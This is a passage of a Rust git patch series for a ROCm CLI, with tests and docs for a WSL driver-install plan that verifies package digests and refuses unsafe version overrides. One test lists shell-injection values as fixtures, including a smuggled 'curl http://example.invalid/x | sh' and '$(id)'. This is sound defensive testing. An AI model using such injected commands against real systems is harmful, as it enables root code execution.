env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(plan.supported); + let joined = plan.execution_commands().join("\n"); + assert!(!joined.contains("sha256sum -c -"), "{joined}"); + assert!(joined.contains("without verifying it"), "{joined}"); + } + + #[test] + fn wsl_rocdxg_opt_out_reads_negative_values_as_off() { + // The opt-out is a boolean, not a presence check. Reading "set to + // anything" as yes would turn digest verification off for a package + // installed as root on the strength of `=0` — the one value a reader + // writes when they mean the opposite. + for negative in ["0", "false", "no", "off", ""] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, negative); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!( + !plan.supported, + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} disabled verification" + ); + assert!( + plan.commands.is_empty(), + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} built an unverified install" + ); + } + + // The affirmative spellings still work, so this is a narrowing of what + // counts as yes rather than a removal of the escape hatch. + for affirmative in ["1", "true", "yes", "on"] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, affirmative); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!( + plan.supported, + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={affirmative:?} was not honoured" + ); + } + } + + #[test] + fn wsl_rocdxg_refuses_a_version_that_could_escape_the_shell() { + // `ROCM_CLI_ROCDXG_VERSION` is interpolated into commands executed via + // `sh -c` after `apt-get update` has primed the sudo credential cache, + // so a `;` in it would start a second, attacker-chosen command running + // as root. The plan must refuse rather than quote its way out. + for hostile in [ + "1.2.0; curl http://example.invalid/x | sh", + "1.2.0 && id", + "$(id)", + "1.2.0`id`", + "../../etc/passwd", + "1.2.0\nid", + "1.2.0 ", + ] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", hostile); + // An opt-out must not buy past the version check either. + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported, "accepted hostile version {hostile:?}"); + assert!( + plan.commands.is_empty(), + "built commands from hostile version {hostile:?}" + ); + // The refused value is echoed back in the plan a human reads, so it + // must not be able to forge lines there. Every line the renderer + // emits after the header is indented, so an unindented one came + // from the value. + let rendered = render_driver_install_plan(&plan, false, false); + for line in rendered.lines().skip(1) { + assert!( + line.starts_with(" "), + "hostile version {hostile:?} forged plan line {line:?} in:\n{rendered}" + ); + } + } + } + + #[test] + fn wsl_rocdxg_plan_drops_sudo_when_already_root() { + // Same reason the bare-metal plans take an escalation: containers and + // minimal cloud images run as uid 0 with no `sudo` binary, where an + // unconditional prefix kills every command before any driver work. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::AlreadyRoot); + let joined = plan.execution_commands().join("\n"); + assert!(!joined.contains("sudo "), "{joined}"); + assert!(joined.contains("apt-get install -y '/tmp/"), "{joined}"); + // And it must not demand a binary it no longer uses. + assert!(!joined.contains("command -v sudo"), "{joined}"); + assert!( + !plan + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{:?}", + plan.preflight_checks + ); + } + + /// Runs the digest step the plan actually generates, rather than asserting + /// that it contains some substrings. + /// + /// The step this exercises is the trust anchor for a root install, and the + /// executable self-test that used to cover it was deleted along with + /// `scripts/wsl_setup_rocdxg.sh`. Substring assertions would let a quoting, + /// field-order or newline regression in the `printf | sha256sum -c -` + /// fragment ship green, so the generated command is pinned whole with + /// `assert_eq!` and then executed — with only the two values it embeds + /// redirected at a test payload, so the quoting, spacing and field order + /// under test are production's rather than a replica's. + /// + /// Field order in particular is invisible to a `starts_with`/`ends_with` + /// pair: `sha256sum -c -` reads `DIGEST FILENAME`, so emitting the path + /// first breaks every real WSL install while still starting with + /// `printf '%s %s\n' '` and ending with `' | sha256sum -c -`. + #[cfg(unix)] + #[test] + fn wsl_rocdxg_generated_digest_step_accepts_only_the_matching_file() { + use std::process::Command; + + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let version = plan.repo_version_expr.clone(); + let pinned = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(pinned_version, digest)| { + (*pinned_version == version.as_str()).then_some(*digest) + }) + .expect("the default version is pinned"); + let deb_path = format!("/tmp/rocdxg-roct_{version}_amd64.deb"); + let generated = plan + .execution_commands() + .into_iter() + .find(|c| c.contains("sha256sum -c -")) + .expect("plan verifies the download"); + + // Whole-string, not `contains`: the digest has to come first and the + // two fields have to be separated by exactly the two spaces + // `sha256sum -c -` expects. + assert_eq!( + generated, + format!("printf '%s %s\\n' '{pinned}' '{deb_path}' | sha256sum -c -") + ); + + let (root, _paths) = test_paths("wsl-rocdxg-digest"); + fs::create_dir_all(&root).expect("test root"); + let payload = root.join(format!("rocdxg-roct_{version}_amd64.deb")); + fs::write(&payload, b"pretend this is a .deb\n").expect("write payload"); + + let digest_of = |path: &Path| -> String { + let out = Command::new("sha256sum") + .arg(path) + .output() + .expect("sha256sum runs"); + assert!(out.status.success()); + String::from_utf8(out.stdout) + .expect("utf8") + .split_whitespace() + .next() + .expect("digest field") + .to_owned() + }; + let good = digest_of(&payload); + + // The command under test is the generated one; the only edits are the + // digest being checked and the path being checked, so a regression in + // how the fragment is built reaches `sh` here instead of being masked + // by a replica built to the test's own idea of the right shape. + let step = |digest: &str| -> bool { + let command = generated + .replace(pinned, digest) + .replace(&deb_path, &payload.display().to_string()); + Command::new("sh") + .arg("-c") + .arg(&command) + .output() + .expect("sh runs") + .status + .success() + }; + + assert!(step(&good), "the matching digest must pass"); + assert!( + !step(&"0".repeat(64)), + "a mismatched digest must fail the step" + ); + assert!(!step("deadbeef"), "a malformed digest must fail the step"); + assert!(!step(""), "an empty digest must fail the step"); + + let _ = fs::remove_dir_all(&root); + } + + #[test] + fn wsl_rocdxg_version_is_overridable_and_reaches_every_reference() { + // One resolved value drives the archive name, the release tag and the + // download path, so an override cannot leave a URL pointing at the + // default. The value is resolved at plan-build time rather than left as + // a `${VAR:-default}` template, so the plan the user reviews names the + // build the install will actually fetch. + let mut env = scoped_rocdxg_env(); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert_eq!(plan.repo_version_expr, "1.2.2"); + let commands = plan.execution_commands().join("\n"); + // The version is resolved here, not deferred to the shell: the plan the + // user approves has to name the build the install will actually fetch. + // No `${...}` expansion survives into the commands at all — the digest + // is resolved at plan-build time too, which + // `wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default` + // asserts by name. + assert!( + !commands.contains("ROCM_CLI_ROCDXG_VERSION"), + "version must be resolved at plan-build time, not left as a shell template:\n{commands}" + ); + let occurrences = commands.matches("1.2.2").count(); + assert!( + occurrences >= 3, + "version should drive the deb name, the tag and the path; saw {occurrences}" + ); + + // An override has to reach every one of those references, including the + // release URL — the bug this guards is a URL left on the default. The + // digest comes along because an unpinned version is refused outright; + // see `wsl_rocdxg_refuses_a_version_whose_digest_is_unknown`. + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_SHA256_ENV, &"b".repeat(64)); + let overridden = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert_eq!(overridden.repo_version_expr, "9.9.9"); + let commands = overridden.execution_commands().join("\n"); + assert!( + commands.contains("rocdxg-roct_9.9.9_amd64.deb"), + "{commands}" + ); + assert!( + commands.contains( + "https://github.com/ROCm/librocdxg/releases/download/v9.9.9/rocdxg-roct_9.9.9_amd64.deb" + ), + "{commands}" + ); + assert!( + !commands.contains("1.2.2"), + "override left a reference on the default version:\n{commands}" + ); + } +} diff --git a/docs/architecture.md b/docs/architecture.md index a69c660736..620350c57b 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -43,8 +43,9 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`dash.rs`](../apps/rocm/src/dash.rs) — full domain extraction. - [`dash_seam.rs`](../apps/rocm/src/dash_seam.rs) — full domain extraction. - [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: the command handlers for `rocm diagnose` and `rocm fix` (`diagnose()`, `fix()`) and the report step behind `rocm diagnose --report` (`show_prepared_report`, `perform_delivery`, `established_entry`). `diagnose()` and `fix()` are `pub(crate)` and re-imported in [`main.rs`](../apps/rocm/src/main.rs) for `dispatch()`; the other three functions are private. `diagnose()` gets its `--model` verdict from [`model_fit.rs`](../apps/rocm/src/model_fit.rs), and `fix()` returns a failing exit code through `FixExitCode`, which stays in `main.rs` with the other exit-code plumbing. The report and delivery regression tests live in this module's own `mod tests`; the exit-code tests stay in `main.rs`. -- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, the driver install state types, and, for now, the per-distro plan builders and the WSL rocDXG plan. The plan model, its rendering and the helpers every builder shares live in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), which this module imports from. It reads the host's os-release through `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs) and no longer reaches into [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs). -- [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, a leaf of the crate (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns `DriverInstallPlan` (with `execution_commands`), its `DriverPlanCommand`s and `DriverCommandPhase`, `PrivilegeEscalation` (whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, and the helpers every plan builder shares: `driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template` and `is_safe_shell_token`. Everything except `driver_plan_approval_label` is `pub(crate)`, and the plan's fields are too, because the builders that construct it are still in `driver_install.rs`. Production code uses only `std` and `rocm_core`, so `driver_install.rs` depends on this module and not the other way round. Its tests cover the template resolver and the shell-token filter. +- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, the driver install state types, and, for now, the per-distro plan builders. The plan model, its rendering and the helpers every builder shares live in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), and the WSL rocDXG plan in [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs), reached through `driver_plan.rs`'s re-export; this module imports from them and they do not import from it. It reads the host's os-release through `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs) and no longer reaches into [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs). +- [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, a leaf of the crate (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns `DriverInstallPlan` (with `execution_commands`), its `DriverPlanCommand`s and `DriverCommandPhase`, `PrivilegeEscalation` (whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, and the helpers every plan builder shares: `driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template` and `is_safe_shell_token`. Everything except `driver_plan_approval_label` is `pub(crate)`, and the plan's fields are too, because the builders that construct it are still in `driver_install.rs`. Production code uses only `std` and `rocm_core`, so `driver_install.rs` depends on this module and not the other way round. It declares the child module [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) and re-exports its `wsl_rocdxg_driver_plan` for the builders in `driver_install.rs`. Its tests cover the template resolver and the shell-token filter. +- [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) — full domain extraction, a child of `driver_plan.rs` that depends on the plan model, `driver_command`, `driver_root_preflight_checks` and `resolve_shell_default_template` in its parent, and on `truthy_env` in [`therock.rs`](../apps/rocm/src/therock.rs) (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the WSL2 rocDXG plan. `wsl_rocdxg_driver_plan` builds the plan that installs the `rocdxg-roct` package, `resolve_rocdxg_verification` decides how that download is authenticated (a supplied digest, the digest pinned for the version in `ROCDXG_PINNED_DIGESTS`, or the explicit opt-out), and `wsl_rocdxg_refusal_plan` is the plan that installs nothing and says why when it cannot be authenticated or the version is not a well-formed package version. `ROCDXG_PINNED_DIGESTS` is the trust anchor an unattended root install is checked against, so a change to it is a security-relevant diff; it moved byte for byte. `wsl_rocdxg_driver_plan` is `pub(crate)` and re-exported by `driver_plan.rs`; everything else in production code is private. Its tests are the `wsl_rocdxg_*` plan tests, including the one that runs the generated digest step against a real file on Unix. The test-only `scoped_rocdxg_env` helper that clears the rocDXG environment lives here too and is re-exported by `driver_plan.rs` under `cfg(test)`, because tests that stay in `driver_install.rs` use it as well. - [`endpoint_keys.rs`](../apps/rocm/src/endpoint_keys.rs) — mechanical relocation, no owned types, reached by qualified path. - [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-213): resolving an engine's binary path (`resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `find_engine_plugin_binary`), the stdio request/response envelope used to talk to an external engine binary or the in-process built-in handler (`engine_request`, `engine_request_with_env_root`, `decode_engine_response`, the `ScopedEnvVar`/`with_scoped_builtin_engine_env` env-scoping helpers and the `BUILTIN_ENGINE_ENV_LOCK` mutex they serialize on, `builtin_engine_request`, `run_builtin_engine_stdio`), and the built-in HTTP-serving path (`builtin_engine_available`, `run_builtin_engine_serve_http`, `builtin_engine_serve_http_args`). Two items that sit physically inside this span in `main.rs` stayed there instead of moving: `missing_packaged_engine_reason` has callers outside the cluster (plus its own test), and `impl From for WatcherMode` is unrelated clap-arg conversion that merely happened to be interleaved between `find_engine_plugin_binary` and `engine_request`. `resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `engine_request`, `engine_request_with_env_root`, `builtin_engine_available`, and `builtin_engine_serve_http_args` are `pub(crate)` and read from other modules (for example [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs), [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) and [`service_launch.rs`](../apps/rocm/src/service_launch.rs)), not from `main.rs`. `run_builtin_engine_stdio` and `run_builtin_engine_serve_http` are `pub(crate)` and reached directly from `main.rs`'s `dispatch()` (the `Command::EngineStdio` and `__engine-serve-http` arms); `find_engine_plugin_binary`, `decode_engine_response`, `with_scoped_builtin_engine_env`, `builtin_engine_request`, and `ScopedEnvVar` have no callers outside this module and stay private. - [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-215): deciding which runtime/env a `serve`/`engines install` invocation resolves to (`EngineSelection`, `resolve_engine_selection`, `validate_engine_selection_runtime`, `single_ready_runtime_key`, `resolve_runtime_selector_to_exact_key`), small argv-building helpers used when relaunching a managed engine (`optional_arg`, `engine_recipe_json_arg`, `parse_engine_recipe_json_arg`, `daemon_run_argv`, `managed_service_launcher_path`), the `ROCM_CLI_*` environment variables every managed child inherits (`app_path_env_vars`/`app_path_env_var_values`/`app_path_env_var_refs`/`apply_app_path_env`), and polling a freshly launched service until it can answer inference requests (`wait_for_service_http_ready`, `wait_for_service_http_ready_with_progress`, `service_http_readiness_paths`, `http_get_local_service`, `http_post_local_service_json`, `service_http_readiness_response_ready`, `lemonade_health_ready_for_model`, `model_list_ready_for_model`, `service_model_gpu_ready`, `service_model_reports_rocm_backend`, `service_model_names_match`). `const fn status_for_readiness` sits physically interleaved in this span in `main.rs` but stayed there instead of moving — it has callers outside this cluster ([`service_launch.rs`](../apps/rocm/src/service_launch.rs) and [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `record_restart_readiness`, which `restart_internal_managed_service_with` calls), so it stays a shared crate-root function, reached only from this module's own tests, via `use crate::status_for_readiness;`. Which items are `pub(crate)` and who calls them is documented in the module's own doc comment rather than repeated here. The cluster's regression tests live in the module's own `mod tests`. What remains in `main.rs` immediately after this cluster is `treat_as_natural_language`, dispatch-adjacent natural-language-invocation routing left over from an earlier phase (ROCMAI-87), explicitly out of scope and untouched by this split. diff --git a/docs/testing.md b/docs/testing.md index bd21c81ce8..9b1c3431f2 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -2181,7 +2181,7 @@ override that isn't a plain version token is refused rather than silently falling back, since it is interpolated into privileged shell commands: ```bash -cargo test -p rocm --bin rocm driver_install +cargo test -p rocm --bin rocm -- driver_install driver_plan ``` `driver-install-06` in diff --git a/docs/wsl.md b/docs/wsl.md index 38b76b2860..e1194a247c 100644 --- a/docs/wsl.md +++ b/docs/wsl.md @@ -83,7 +83,7 @@ The equivalent manual steps, for reference or for a host where the CLI is not installed yet. Do not skip the `sha256sum -c` line, because `apt install` runs the package's maintainer scripts as root. `rocm install driver` checks the download against a digest pinned in the ROCm CLI source -(`ROCDXG_PINNED_DIGESTS` in `apps/rocm/src/driver_install.rs`), which also +(`ROCDXG_PINNED_DIGESTS` in `apps/rocm/src/driver_plan/rocdxg.rs`), which also catches a replaced release asset. A digest read from the release page at install time catches only a corrupted download. For a version listed in `ROCDXG_PINNED_DIGESTS`, use the pinned digest. Set `ROCDXG_VERSION` to the From 3503673855b5c9d15e498f288baf89b787fe7bdd Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 17:59:30 +0000 Subject: [PATCH 04/12] refactor(rocm): move the per-distro driver plan builders out of driver_install.rs into driver_plan.rs Step 4 of 7. The plan builders now sit next to the plan model they construct: build_driver_install_plan_read and build_driver_install_plan_at, the apt, dnf and SLES plans, the ID_LIKE fallback, the repository URL and version helpers, resolve_repo_version_expr with RETIRED_DRIVER_VERSION_VARS, the unreadable-os-release and invalid-override refusal plans, codename_for_version, and install_driver_only_reports_on / host_install_driver_only_reports. driver_install.rs keeps the handler, the shell runner and the state and reconciliation code, and no longer holds any plan construction. Moved code is identical apart from the edits below. Non-move edits: - Visibility: build_driver_install_plan_read and invalid_driver_version_override_plan become pub(crate) (the handler calls the first; a test that stays with the executor builds a plan with the second). PrivilegeEscalation::prefix and needs_sudo_binary, is_safe_shell_token, driver_root_preflight_checks and resolve_shell_default_template, which the previous steps widened, are private again because nothing outside driver_plan.rs and its child module uses them now; a child module may use its parent's private items. - driver_install.rs re-exports host_install_driver_only_reports, the one name chat.rs and freeform_planner.rs use. install_driver_only_reports_on is not re-exported because no consumer outside the moved tests uses it, and an unused re-export fails clippy. - driver_plan.rs makes its test module pub(crate) so the tests that stay in driver_install.rs can reuse test_examine and os_release_found (both widened to pub(crate) for that); the staying tests are the ones that drive the executor, the state and reconciliation, should_execute and the unsupported-plan approval. The scoped_rocdxg_env re-export added in the previous step is dropped, scoped_rocdxg_env is pub(super), and the moved tests import it from the child module. - Imports: driver_plan.rs adds ExamineSummary, and in its test module fs and ProcessCommand (cfg(unix), like the dpkg-query stub test that uses them), PathBuf and scoped_rocdxg_env. driver_install.rs imports what it still uses from crate::driver_plan, in its prod code and in its tests. - Module docs: the driver_plan.rs and driver_install.rs headers describe the new split (the old driver_install.rs header said it owned the plan types). Doc and comment paths that named driver_install.rs for the plan builders now name driver_plan.rs: chat.rs, freeform_planner.rs, two comments in rocm-core's diagnose.rs, the e2e driver_steps.rs and examine.feature comments (text only, no step or scenario change), docs/testing.md, and docs/architecture.md, whose three driver entries are rewritten. - Test moves: the 64 plan-builder tests and their seven helpers move with the code; ten tests stay in driver_install.rs. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/chat.rs | 2 +- apps/rocm/src/driver_install.rs | 3079 +----------------- apps/rocm/src/driver_plan.rs | 2924 ++++++++++++++++- apps/rocm/src/driver_plan/rocdxg.rs | 2 +- apps/rocm/src/freeform_planner.rs | 2 +- crates/rocm-core/src/diagnose.rs | 4 +- docs/architecture.md | 6 +- docs/testing.md | 6 +- tests/e2e-cucumber/features/examine.feature | 2 +- tests/e2e-cucumber/tests/e2e/driver_steps.rs | 2 +- 10 files changed, 3024 insertions(+), 3005 deletions(-) diff --git a/apps/rocm/src/chat.rs b/apps/rocm/src/chat.rs index a42dd52470..c25b4c5e0b 100644 --- a/apps/rocm/src/chat.rs +++ b/apps/rocm/src/chat.rs @@ -7,7 +7,7 @@ //! `DeterministicServiceRow`, `DeterministicEngineRow`, and others — all //! module-private except `ChatToolApprovalRequest`, reached by //! `dash_seam.rs` as `chat_tool_approval_request`'s return type, and -//! `ChatRocmCommandAction`, read by `driver_install.rs`'s test module), its +//! `ChatRocmCommandAction`, read by `driver_plan.rs`'s test module), its //! tool-call validation/approval/execution logic (`validate_chat_tool_call` //! and the `validate_chat_*_tool_call` family), deterministic tool-output //! summarization, and the MCP tool-bridge entry points diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 390aea3123..9df7203f1f 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -11,10 +11,16 @@ //! `install()` has since moved to `install_cmd.rs`, which imports them itself. //! `InstallTarget`/`Cli` remain in the crate root; neither is referenced //! from this file. Unlike `automations.rs`/`uninstall.rs`, this cluster owns -//! private types (`DriverInstallPlan` and friends), so those moved here too +//! private types (`DriverInstallState` and friends), so those moved here too //! rather than staying in `main.rs`. `DriverInstallResult`/`DriverInstallError` //! are the exception: they're `pub(crate)` and read from `install_cmd.rs`'s //! `install()` (`result.output`/`result.executed`, `error.source`/`error.executed`). +//! +//! The plan this module runs (its model, rendering, per-distro builders and the +//! WSL rocDXG plan) lives in `driver_plan.rs`, which does not depend on this +//! module; the host's os-release comes from `system_packages.rs`. This module +//! re-exports `host_install_driver_only_reports` for `chat.rs` and +//! `freeform_planner.rs`. use std::fmt::Write as _; use std::fs; @@ -26,25 +32,13 @@ use rocm_core::{AppPaths, ExamineSummary, shell_command_for_host}; use serde::{Deserialize, Serialize}; use crate::cli_report; +pub(crate) use crate::driver_plan::host_install_driver_only_reports; use crate::driver_plan::{ - DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, driver_command, - driver_root_preflight_checks, is_safe_shell_token, render_driver_install_plan, - wsl_rocdxg_driver_plan, + DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, build_driver_install_plan_read, + render_driver_install_plan, }; use crate::system_packages::real_os_release; -/// Whether `rocm install driver` only reports on this OS. True on native -/// Windows, where the plan is `windows_validate_only` and runs nothing; the -/// chat and freeform planners derive their wording and flags from this too. -pub(crate) fn install_driver_only_reports_on(os: &str) -> bool { - os == "windows" -} - -/// [`install_driver_only_reports_on`] for the OS this binary runs on. -pub(crate) fn host_install_driver_only_reports() -> bool { - install_driver_only_reports_on(std::env::consts::OS) -} - /// Whether `rocm install driver` goes on to run the plan's commands. Pure so /// the gate that keeps native Windows from installing anything (its plan is /// neither `supported` nor `mutating`) is testable on any host. @@ -402,839 +396,6 @@ struct DriverPassiveCheck { detail: String, } -/// The plan for a release file that cannot be read as a distro at all — a -/// malformed line ([`build_driver_install_plan_at`]'s own early return) or a -/// file that exists but could not be read -/// ([`build_driver_install_plan_read`]'s `Unreadable` branch). Both name -/// `reason`, never a distro, and differ only in it: shared here, including -/// `repo_version_expr`, so a new early branch added to one is not silently -/// absent from the other. -fn unreadable_os_release_plan(reason: String, repo_version_expr: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "unreadable_os_release".to_owned(), - os_id: String::new(), - version_id: String::new(), - codename: String::new(), - repo_version_expr, - reason, - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - reboot_required: false, - } -} - -const RETIRED_DRIVER_VERSION_VARS: [&str; 2] = - ["ROCM_CLI_AMDGPU_VERSION", "ROCM_CLI_AMDGPU_PACKAGE_RELEASE"]; - -/// The refusal plan `resolve_repo_version_expr` returns for any -/// `ROCM_CLI_AMDGPU_DRIVER_VERSION` value that cannot be safely interpolated -/// into a shell command -- whether it failed [`is_safe_shell_token`] or could -/// not even be decoded as UTF-8. -fn invalid_driver_version_override_plan(value_debug: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "invalid_driver_version_override".to_owned(), - os_id: String::new(), - version_id: String::new(), - codename: String::new(), - repo_version_expr: value_debug, - reason: "ROCM_CLI_AMDGPU_DRIVER_VERSION is not a well-formed amdgpu driver release. It is interpolated into privileged shell commands, so only letters, digits, and `. _ -` are accepted.".to_owned(), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - reboot_required: false, - } -} - -/// Resolves and validates `ROCM_CLI_AMDGPU_DRIVER_VERSION`, shared between -/// [`build_driver_install_plan_at`] (reached whenever the os-release text -/// itself was readable) and [`build_driver_install_plan_read`]'s `Unreadable` -/// branch (reached before `_at` is even called), so both report the same -/// `invalid_driver_version_override` plan on a malformed override rather than -/// one of them silently falling back to `latest`. -fn resolve_repo_version_expr() -> Result> { - // The pre-`latest` pin variables are no longer read; refuse rather than - // install a floating `latest` for a user who still exports one. - for retired in RETIRED_DRIVER_VERSION_VARS { - if std::env::var_os(retired).is_some_and(|v| !v.is_empty()) { - let mut plan = invalid_driver_version_override_plan(format!("{retired} is set")); - plan.policy = "retired_driver_version_override".to_owned(); - plan.reason = format!( - "{retired} is no longer read; unset it, and set ROCM_CLI_AMDGPU_DRIVER_VERSION to pin an amdgpu driver release." - ); - return Err(Box::new(plan)); - } - } - // Resolved here rather than left as a shell `${VAR:-default}` expression: - // these commands are built with `printf '%s\n' '...'` (single-quoted) so the - // written repo file has a working baseurl regardless of shell. The value is - // interpolated straight into that single-quoted command, so it's restricted - // to a safe URL path segment here rather than trusted verbatim: a value - // containing `'` would otherwise close the quoting and inject shell. An - // invalid override is refused rather than silently falling back to - // `latest`, the same way `wsl_rocdxg_driver_plan` refuses a malformed - // `ROCM_CLI_ROCDXG_VERSION` -- a user who set this expecting a specific - // release should see why it did not take effect, not an unexplained - // `latest`. - match std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION") { - // Set-but-empty is treated the same as unset, matching every other - // optional override of the driver plan (`resolve_rocdxg_verification`, - // `resolve_shell_default_template`): a blank env var is how an env - // file clears an override, not a request to refuse the plan. - Err(std::env::VarError::NotPresent) => Ok("latest".to_owned()), - Ok(v) if v.is_empty() => Ok("latest".to_owned()), - Ok(v) if is_safe_shell_token(&v) => Ok(v), - Ok(v) => Err(Box::new(invalid_driver_version_override_plan(format!( - "{v:?}" - )))), - // A non-UTF-8 value can never pass `is_safe_shell_token` anyway, but - // routing it through the same refusal as a malformed value (instead - // of folding it into the NotPresent/empty "unset" case) keeps the - // same "refuse, don't silently fall back to latest" guarantee for a - // user who set this to something `env::var` cannot even decode. - Err(std::env::VarError::NotUnicode(v)) => { - // Debug, not `v.display()`, is deliberate here: this is the one - // value worth escaping rather than rendering lossily, since the - // whole reason it reached this arm is that it isn't valid UTF-8. - #[allow(clippy::unnecessary_debug_formatting)] - let value_debug = format!("{v:?}"); - Err(Box::new(invalid_driver_version_override_plan(value_debug))) - } - } -} - -/// [`build_driver_install_plan_read`], naming `os_release_path` instead of always -/// `/etc/os-release` in an unreadable-line message. -fn build_driver_install_plan_at( - examine: &ExamineSummary, - os_release_path: &str, - os_release_text: &str, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - if install_driver_only_reports_on(&examine.os) { - return DriverInstallPlan { - supported: false, - mutating: false, - policy: "windows_validate_only".to_owned(), - os_id: "windows".to_owned(), - version_id: String::new(), - codename: String::new(), - // Not interpolated into any command on this no-op plan (there are - // none), so an override is not validated before this early return. - // Always "latest" even if `ROCM_CLI_AMDGPU_DRIVER_VERSION` names - // something else or is malformed: unlike the Linux arms below, - // this value has not gone through `resolve_repo_version_expr()`, - // so do not read the printed `repo_version:` line here (or in - // `--dry-run` output) as confirmation that an override was seen or - // accepted. - repo_version_expr: "latest".to_owned(), - // Uses the same inventory and adapter choice as `rocm examine` - // and `rocm diagnose`. Separate probes can still fail independently. - reason: rocm_core::windows_driver::install_driver_summary( - examine.driver.windows.as_ref(), - ), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - // The plan installs nothing, so nothing asks for a reboot. - reboot_required: false, - }; - } - if examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl) { - return wsl_rocdxg_driver_plan(escalation); - } - - let repo_version_expr = match resolve_repo_version_expr() { - Ok(v) => v, - Err(plan) => return *plan, - }; - - // An unreadable file is reported as itself, naming the line, rather than - // falling through to "this distro is not supported" — which would send the - // user looking for a support matrix when the fix is one line of a file. - let os_release = match rocm_core::os_release::parse(os_release_text) { - Ok(fields) => fields, - Err(unreadable) => { - return unreadable_os_release_plan( - format!( - "{os_release_path} {unreadable}; no driver commands were planned \ - because the distro cannot be read. To fix it, {}.", - unreadable.fix() - ), - repo_version_expr, - ); - } - }; - - let field = |key: &str| os_release.get(key).cloned(); - // Not interpolated into any shell command today (only matched against and - // stored on the plan), but it goes through the same allow-list as - // `version_id`/`codename`/the env override anyway: centralizing the - // sanitization here means a future `os_id`-based repo path can't - // reintroduce the 